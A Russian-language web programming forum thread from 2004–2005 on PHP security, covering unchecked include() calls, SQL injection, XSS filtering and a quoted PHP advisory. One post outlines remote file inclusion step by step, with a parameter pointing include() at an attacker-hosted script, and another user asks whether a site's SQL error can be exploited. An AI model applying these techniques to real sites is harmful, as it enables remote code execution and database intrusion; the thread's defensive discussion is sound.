Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Интернет » Web-программирование » DEL

Модерирует : Cheery

 Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2 3 4 5 6 7 8 9 10

Открыть новую тему     Написать ответ в эту тему

Terabyte



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
DEL

Всего записей: 1325 | Зарегистр. 09-09-2002 | Отправлено: 22:07 01-02-2004 | Исправлено: Terabyte, 21:23 31-08-2017
xntx



хнотик-багоискатель
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору

Цитата:
Не, ну ты что. UNION на МНОГО безопаснее ; Его можно юзать толкьо с селектом + кол-во столбцов другой таблице и тип столбцов должны быть одинаковы

одинаковы не должны быть, ведь можно выбрать "ляляля" как "ляляля" итп. итд.

Цитата:
Да знаю я для чего там чар юзается, я просто для примера юзание этой ф-ции дал.  

ну как функция юзается я знаю

Цитата:
Кокраз файл инклудится.  

тааак, опят за старое. как ты с удаленного хоста будешь php файл инклудить? пожалуйста с примерами...
 
Adaman

Цитата:
Ну естественно. В пхп дыр нет - есть дыры в мозгах програмиста.

ну так, и я о том...
 
Terabyte

Цитата:
Ну да алдно нет, еще как есть. Уже дофига критических нашли. почитай багтраки. Забыл что ли о эксплоите от Тесо?  

в последнем php дыр нет. а если ктото юзает не последний, то он немного болен на голову...
 
Swappp

Цитата:
а отдается результат, а если .txt или .html то все работает.

ну так, я уже сказал.,... что нормальный человек важную инфу не будет в txt хранить...
и вобще, у нас разные точки зрения, вы хотите инклудить файл с вашего хоста, а я говорю про удаленного файла. локальный файл нет смысла инклудить, т.к. если программист сайта нормален, то ты ничего локального не сможешь заинклудить...
 
и в конце концов, раз уже об этом говорим, давайте называть по разному разные вещи: инклуд исходного кода, и инклуд результата...

----------
Hello world!

Всего записей: 5169 | Зарегистр. 15-02-2003 | Отправлено: 17:53 04-02-2004
Swappp

Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
xntx

Цитата:
тааак, опят за старое. как ты с удаленного хоста будешь php файл инклудить? пожалуйста с примерами...

Обьясняю подробно:
У меня есть сайт lalalal.lalal.ru
В инете я нашел сайт без проверки инфы котрая суется в include();
на свой сайт выкладываю скрипт, который распечатывает значения каких нить переменных, с расширением .php и в .htaccess отключаю обработку php
дальше передаю в качестве параметра втором сайту ?module=http://lalala.lalal.ru/superhakcscript
после чего будет выполнен мой скрипт на чужой машине...

Цитата:
ну так, я уже сказал.,... что нормальный человек важную инфу не будет в txt хранить...
и вобще, у нас разные точки зрения, вы хотите инклудить файл с вашего хоста, а я говорю про удаленного файла. локальный файл нет смысла инклудить, т.к. если программист сайта нормален, то ты ничего локального не сможешь заинклудить...
 
и в конце концов, раз уже об этом говорим, давайте называть по разному разные вещи: инклуд исходного кода, и инклуд результата...

читай выше... мы говорим про проверку данных передаваемых include(); если проверка отсутствует, существует уязвимость, называется "Выполнение произвольного кода на удаленной машине"
 
Добавлено

Цитата:
инклуд исходного кода, и инклуд результата...
 

кто мешает в результат бросить тэги <?php ?>? и тем самым выполнить свой код, на чужой машине?

Всего записей: 1716 | Зарегистр. 02-11-2001 | Отправлено: 23:45 04-02-2004
Terabyte



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
DEL

Всего записей: 1325 | Зарегистр. 09-09-2002 | Отправлено: 11:27 05-02-2004 | Исправлено: Terabyte, 21:23 31-08-2017
Swappp

Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Даже не обязателньо отключать php расширение, просто другое расширение можно файлу дать: txt, qwe, bla ...

согласен, но в некоторых скриптах пишется так: include("$_GET[lala].php"); тут всетаки придется подсовывать с php или есть способ это обойти?
 
Добавлено
xntx

Цитата:
т.к. если программист сайта нормален

Мы тут гдето говорили про НОРМАЛЬНЫХ ПРОГРАММИСТОВ? статья ориентирована в первую очередь начинающем, чтоб они не делали глупых ошибок в своих скриптах, я например видел скрипт, который чел продавал за ~$50 маленький портал, так вот, беглым взглядом (просто посмотрев на несколько файлов) я нашел 3 большие дырки: 1. инклуды хоронятся в файлах .txt, в том числе и один файл содержащий пароль. 2. файлы инклудятся без всякой проверки (include("includes/$lalala.php");) 3. админка сделана фреймами, и пароль проверяется один раз, и фактически нужен только для отрисовки frameset'а, а доступ можно было спокойно получить через прямое обращение к файлу... И о каких нормаьльных прграмистах может идти речь? такое решито я бы и бесплатно не ставил...
 
кстати некоторыми из этими правилами пренебрегали разработчики php-nuke, phpBB и т.д., и при выходе mysql 4 получили дырки, помоему код типа "SELECT * FROM lll WHERE id=$id" очевидно содержит ошибку, можно легко поставить дополнительный параметры хотябы для where... но нет, потенциальную уязвимость игнорировали и получили... лично я еще задолго до выхода mysql4 все переменные в sql запросах ставил в кавычки, и поверял на наличие ' в их теле.

Всего записей: 1716 | Зарегистр. 02-11-2001 | Отправлено: 22:19 05-02-2004
Terabyte



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
DEL

Всего записей: 1325 | Зарегистр. 09-09-2002 | Отправлено: 10:27 06-02-2004 | Исправлено: Terabyte, 21:24 31-08-2017
primitive



Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
наткнулся тут на одну ошибку и в голове закралась мысль что можно ткнуть мордой криворукого вебмастера
 
Вообшем случайно перекинуло меня с одного сайта на другой  
http://domain/index.php?IDm=6&op=main&IDcont=109
 
вылезла ошибка  
 

Код:
 
mmenuMain::makeQuery::SELECT * FROM an_menu WHERE langid=1 AND idparent=0 AND idmenu!= ORDER BY sortfield ASC::failed
 

 
есть ли уязвимость?
можно ли выполнить шелловскую или php команду или выполнить свой запрос к базе данных?

Всего записей: 46 | Зарегистр. 15-12-2002 | Отправлено: 23:28 30-06-2004
xntx



хнотик-багоискатель
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
primitive
надо еще и код видеть

----------
Hello world!

Всего записей: 5169 | Зарегистр. 15-02-2003 | Отправлено: 00:14 01-07-2004
Svarga

Moderator
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
http://www.bezpeka.com/news/2004/07/1401.html

Цитата:
Опасная уязвимость в PHP, связанная с возможностью удаленного выполнения произвольного кода

Опасная уязвимость обнаружена в PHP при компиляции с включенным параметром memory_limit. Удаленный пользователь может выполнить произвольный код на целевой системе.  
 
Удаленный пользователь может представить специально сформированный HTTP POST запрос, чтобы перехватить процесс выделения памяти, пока Zend HashTables выделяется и инициализируется. Удаленный пользователь может представить специально обработанный HashTable destructor pointer и выполнить произвольный код на целевой системе.  
 
Уязвимые версии: PHP 4.3.7 и более ранние. PHP 5.0.0RC3 и более ранние.  
 
Для устранения проблемы рекомендуется установить обновленную версию программы (4.3.8 или 5.0): http://www.php.net/downloads.php  


----------
away.

Всего записей: 4161 | Зарегистр. 25-06-2002 | Отправлено: 13:32 15-07-2004
Terabyte



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
DEL

Всего записей: 1325 | Зарегистр. 09-09-2002 | Отправлено: 15:42 23-07-2004 | Исправлено: Terabyte, 21:31 31-08-2017
xntx



хнотик-багоискатель
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
Terabyte

Цитата:
Но как сделать, чтобы все что не целочисленные данные просто отпадали?  

$go = preg_replace ("/([^0-9]+)/", '', $go);
но лучше конечно интвал, он быстрее.
 

Цитата:
Как думаете, это максимум что нужно для защиты от XSS?

поидее... да.

----------
Hello world!

Всего записей: 5169 | Зарегистр. 15-02-2003 | Отправлено: 15:48 23-07-2004
Terabyte



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
DEL

Всего записей: 1325 | Зарегистр. 09-09-2002 | Отправлено: 21:10 23-07-2004 | Исправлено: Terabyte, 21:31 31-08-2017
SafeWay



Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
Стоит ли скрывать, что приложение написано на PHP? например:  
AddType application/x-httpd-php .htm .html  
Как сильно это затруднит работу хакеру?

Всего записей: 365 | Зарегистр. 28-12-2003 | Отправлено: 16:05 28-07-2004
Terabyte



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
DEL

Всего записей: 1325 | Зарегистр. 09-09-2002 | Отправлено: 21:31 28-07-2004 | Исправлено: Terabyte, 21:31 31-08-2017
Terabyte



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
DEL

Всего записей: 1325 | Зарегистр. 09-09-2002 | Отправлено: 00:04 05-04-2005 | Исправлено: Terabyte, 21:32 31-08-2017
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Terabyte
www.php.net/get_magic_quotes_runtime

----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 00:09 05-04-2005
xntx



хнотик-багоискатель
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
SafeWay
если хорошо пишешь, то можешь косить запросы под стиль ASP, и разширения соответствующие тогда ставь
тоесть, вместо file.php?sid=ooh4oh53uh&pid=152&tid=52... делай file.asp?SessionID=iohj3ij43&PageID=152&TopicID=52...
тогда хоть в начале хацкер начнет качать в другую сторону...
ну и хеадеры тогда уже Powered-by подделывай


----------
Hello world!

Всего записей: 5169 | Зарегистр. 15-02-2003 | Отправлено: 00:18 05-04-2005
SiMM

Silver Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Cheery, скорее речь о magic_quotes_gpc
PHP FAQ:  \"Кавычки \". Cоставление запросов mysql, слеши, экранирование кавычек.

Всего записей: 2302 | Зарегистр. 14-05-2004 | Отправлено: 09:54 05-04-2005
Terabyte



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
DEL

Всего записей: 1325 | Зарегистр. 09-09-2002 | Отправлено: 20:35 05-04-2005 | Исправлено: Terabyte, 21:32 31-08-2017
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
SiMM

Цитата:
скорее речь о magic_quotes_gpc  

ну.. я ему и дал ссылку на функцию, которая определяет состояние флага для данного преобразования - работает оно или нет.


----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 21:12 05-04-2005
Открыть новую тему     Написать ответ в эту тему

Страницы: 1 2 3 4 5 6 7 8 9 10

Компьютерный форум Ru.Board » Интернет » Web-программирование » DEL


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.B0ard
© Ru.B0ard 2000-2024

BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

Рейтинг.ru